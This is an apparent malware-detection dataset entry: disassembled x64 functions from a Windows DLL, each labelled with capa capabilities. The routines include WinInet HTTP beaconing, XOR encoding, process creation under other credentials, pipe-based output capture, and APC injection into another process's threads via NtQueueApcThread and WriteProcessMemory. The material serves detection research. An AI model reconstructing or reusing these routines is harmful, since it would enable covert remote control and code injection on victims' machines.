joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000e724
Capabilities:
Connect to http server
Create http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x40
mov rbx, r8
mov edi, edx
mov rsi, rcx
mov dword [rax + 0x20], 0x3a980
call fcn.18001c09c
mov r14d, 1
mov ecx, r14d
call fcn.180019a34
lea ecx, [r14 + 0x31]
and al, 8
neg al
sbb r9d, r9d
and r9d, 0x803000
add r9d, 0x84400200
mov dword [0x180046cb0], r9d
call fcn.180019a34
cmp ax, r14w
jne 0x18000e78e
bts dword [0x180046cb0], 0x13
mov ecx, 0x23
call fcn.180019a34
movzx ecx, ax
test ecx, ecx
je 0x18000e7c4
dec ecx
je 0x18000e7bc
dec ecx
je 0x18000e7b5
cmp ecx, 2
je 0x18000e7c4
mov rax, qword [0x180046c88]
jmp 0x18000e7ee
xor r8d, r8d
xor edx, edx
jmp 0x18000e7d6
xor r8d, r8d
mov edx, r14d
jmp 0x18000e7d6
mov ecx, 0x20
call fcn.180019a24
mov edx, 3
mov r8, rax
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180046c88], rax
mov ebx, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [rbx + 1]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x180046c88]
lea r8, [rsp + 0x68]
lea edx, [rbx + 2]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [0x180046ca8]
mov rcx, qword [0x180046c88]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [rbx + 0x1f]
mov qword [0x180046c90], rax
call fcn.180019a34
cmp ax, bx
jne 0x18000e8bd
lea edi, [rbx + 0x1d]
mov ecx, edi
call fcn.180019a14
mov ecx, edi
mov ebx, eax
call fcn.180019a24
mov rcx, qword [0x180046c90]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edi, 0x22
mov ecx, edi
call fcn.180019a14
mov ecx, edi
mov ebx, eax
call fcn.180019a24
mov rcx, qword [0x180046c90]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.18001c0cc
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x18000e8d8
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x418]
sub rsp, 0x510
and qword [rbp - 0x78], 0
mov rbx, rcx
lea rax, [0x180030700]
lea rcx, [rbp + 0x11]
xor edx, edx
mov r8d, 0x3ff
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x10], 0
call fcn.18001d470
xor edx, edx
lea rcx, [rbp - 0x6f]
mov byte [rbp - 0x70], 0
lea r8d, [rdx + 0x7f]
call fcn.18001d470
and qword [rsp + 0x40], 0
xor edx, edx
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x48]
call fcn.18001d470
mov edx, dword [0x180046ca0]
test edx, edx
je 0x18000eaf2
lea rcx, [rsp + 0x40]
call fcn.180016a58
mov rcx, qword [rsp + 0x50]
mov edi, 0x400
lea r8, [0x1800306f4]
mov edx, edi
mov r9, rbx
call fcn.18001d57c
mov r9d, dword [0x180050120]
lea r8, [0x180030704]
lea rcx, [rbp - 0x70]
mov edx, 0x80
call fcn.18001d57c
or r14, 0xffffffffffffffff
lea rax, [rbp - 0x70]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000e9a1
mov ecx, reloc.WS2_32.dll_listen
call fcn.180019a24
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov eax, dword [0x180046ca0]
mov r9d, ebx
mov dword [rsp + 0x28], eax
mov rax, qword [0x180046c98]
mov qword [rsp + 0x20], rax
call fcn.1800161c0
mov rcx, qword [rsp + 0x48]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x18000e9e6
mov r9, qword [rsp + 0x50]
mov rdx, rdi
test rax, rax
jne 0x18000ea0e
lea r8, [0x1800306f4]
lea rcx, [rbp + 0x10]
call fcn.18001d57c
jmp 0x18000ea23
mov qword [rsp + 0x20], rcx
lea r8, [0x180030708]
lea rcx, [rbp + 0x10]
call fcn.18001d57c
call fcn.18001c09c
xor ebx, ebx
mov ecx, 0x1b
call fcn.180019a24
mov rcx, qword [0x180046c90]
lea r8, [rbp + 0x10]
mov rdx, rax
mov rax, qword [0x180046ca8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x180046cb0]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.18000e5f4
mov rdx, qword [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x18000ea83
mov eax, dword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.18000ebf4
mov rcx, rdi
test eax, eax
jne 0x18000ead0
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x18000ea2a
jmp 0x18000ead6
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x180046ca0]
lea rcx, [rsp + 0x40]
call fcn.180016a4c
and dword [0x180046ca0], 0
call fcn.18001c0cc
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18000ebf4
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
lea r9, [rax + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
mov dword [rax + 0x10], 0x100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000ec37
lea rcx, [rsp + 0x30]
call fcn.18001dd44
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x18000ed44
Capabilities:
Initialize winsock library

Disassembly:
mov ecx, 1
jmp fcn.18000ed50

Function at 0x18000ed50
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1c0
cmp dword [0x180046cb4], 1
mov ebx, ecx
je 0x18000ed86
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000ee0a
mov dword [0x180046cb4], 1
test ebx, ebx
je 0x18000ee01
cmp dword [0x180046cb8], 1
je 0x18000ee01
mov ecx, reloc.WS2_32.dll_sendto
call fcn.180019a04
mov ecx, reloc.WS2_32.dll_send
mov dword [0x180046cbc], eax
call fcn.180019a04
mov ecx, 0x3d
mov dword [0x180046cc0], eax
call fcn.180019a24
mov ecx, 0x3e
mov qword [0x180050548], rax
call fcn.180019a24
mov ecx, 0x3f
mov qword [0x180050540], rax
call fcn.180019a24
mov ecx, 0x42
mov qword [0x180050538], rax
call fcn.180019a24
mov dword [0x180046cb8], 1
mov qword [0x180050530], rax
add rsp, 0x1c0
pop rbx
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001e354
int3
Function at 0x18000f97c
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.18001d470
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015fb8
test eax, eax
je 0x18000fa65
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.1800134d8
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000faf4
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000fb36
mov rax, rbp
jmp 0x18000fb90
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000fb31
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001d860
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000fb8d
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000fb31
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x180010170
Capabilities:
Encode data using xor

Disassembly:
movsxd r10, edx
movsxd rax, r9d
sub r10, 4
cmp r10, rax
jbe 0x180010182
xor eax, eax
ret
mov r11, rcx
add rcx, 4
sub edx, 4
je 0x1800101b3
xor r9d, r9d
mov r10d, edx
sub rcx, r8
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + r11]
xor al, byte [rcx + r8]
mov byte [r8], al
inc r8
dec r10
jne 0x180010197
mov eax, edx
ret

Function at 0x1800101b8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, edx
movsxd rax, r9d
mov rbx, r8
add rsi, 4
mov edi, edx
mov rbp, rcx
mov r14, r8
cmp rsi, rax
jbe 0x1800101ef
xor eax, eax
jmp 0x180010222
call fcn.18000efd8
xor edx, edx
mov dword [rbx], eax
add rbx, 4
test edi, edi
je 0x180010220
sub rbp, rbx
mov rax, rdi
mov rcx, rdx
inc rdx
and ecx, 3
mov cl, byte [rcx + r14]
xor cl, byte [rbx + rbp]
mov byte [rbx], cl
inc rbx
dec rax
jne 0x180010206
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800104f4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x180010560
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c71c
test eax, eax
je 0x180010560
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.180010240
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.180010344
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x180010553
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x180010568
mov rcx, qword [rcx + 8]
call fcn.18001b11c
mov eax, edi
jmp 0x180010568
mov rcx, rbx
call fcn.180010240
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180010574
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rcx + 0x18]
mov rbx, rcx
mov r9d, 2
mov qword [r11 - 0x18], rax
mov rax, qword [rcx + 0x10]
mov qword [r11 - 0x20], rax
mov eax, dword [rcx + 0x20]
mov rcx, qword [0x18004bc98]
mov qword [r11 - 0x28], r8
and qword [r11 - 0x30], 0
mov r8, qword [0x18004bca0]
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], rdx
mov rdx, qword [0x18004bc90]
and qword [r11 - 0x48], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x1800105d4
mov eax, 1
jmp 0x1800105ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
mov ecx, 0x45
mov r8d, eax
call fcn.18000e394
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x180010770
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.18001473c
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.18001489c
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.18001489c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.18001489c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.18001489c
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.18001489c
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.18001d470
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000fa80
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000fa80
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000fa80
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000fa80
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x1800108dd
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x18001095f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000e25c
mov ebx, edi
mov rcx, rbp
call fcn.180014830
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180010ca0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x180010c92
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001e420
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x180046cd8], rsi
mov rbx, rcx
jne 0x180010cde
mov ecx, 0x80004
call fcn.18001d1c8
mov qword [0x180046cd8], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x180046cd8]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x180010d30
mov rax, qword [0x180046cd8]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001ec70
test eax, eax
je 0x180010d2c
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180010cfc
jmp 0x180010d30
and dword [rbx + 4], 0
mov rcx, qword [0x180046cd8]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180010c58
Function at 0x180011320
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x180011352
xor eax, eax
jmp 0x180011374
inc eax
cmp eax, edi
jae 0x18001134e
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001d470
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001138c
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180011a2c
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, dword [rbp + 0x70]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.18001c0b8
mov r15d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r15d
call fcn.18001d470
xor eax, eax
mov dword [rbp - 0x60], r15d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.180019f98
test eax, eax
je 0x180011b6e
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x40]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.18001204c
test edi, edi
je 0x180011b43
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.1800131f8
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.18001326c
mov ecx, dword [rbp + 0x70]
call fcn.18001c0e8
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18001238c
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rbp - 0x3c]
lea r8d, [rdx + 0x18]
call fcn.18001d470
xor eax, eax
lea rcx, str.ntdll
and qword [rbp + 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
and dword [rbp - 8], 0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0x1c
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180012512
mov edx, dword [rsi + 0x10]
mov rcx, qword [rsi]
lea r8, [rbp - 0x20]
call fcn.1800122a8
mov rbx, rax
test rax, rax
je 0x180012512
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
test rax, rax
je 0x180012512
lea rdx, [rbp - 0x40]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180012512
mov eax, dword [rsi + 0x10]
cmp dword [rbp - 0x34], eax
jne 0x18001249b
mov r8d, dword [rbp - 0x38]
xor edx, edx
mov ecx, 0x1fffff
call fcn.18001b030
mov r14, rax
test rax, rax
je 0x18001249b
and qword [rsp + 0x20], 0
lea rdx, [rbx + 0x20]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
call r15
mov rcx, r14
call fcn.18001aa30
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x18001245d
mov rcx, rdi
call fcn.18001aa30
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
mov edi, 0x20
lea r8, [rbp - 0x20]
mov rdx, rbx
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180012512
cmp qword [rbp + 0x28], rdi
jne 0x180012512
cmp dword [rbp - 8], 0
jne 0x18001252e
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
lea r8, [rbp - 0x20]
mov r9d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 8], 1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, 1
jmp 0x180012514
Function at 0x18001350c
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180013553
or eax, 0xffffffff
jmp 0x1800135b3
cmp dword [rsp + 0x30], ebx
jbe 0x1800135b1
cmp ebx, edi
jae 0x1800135b1
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18001354e
cmp dword [rsp + 0x30], 0
ja 0x180013559
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret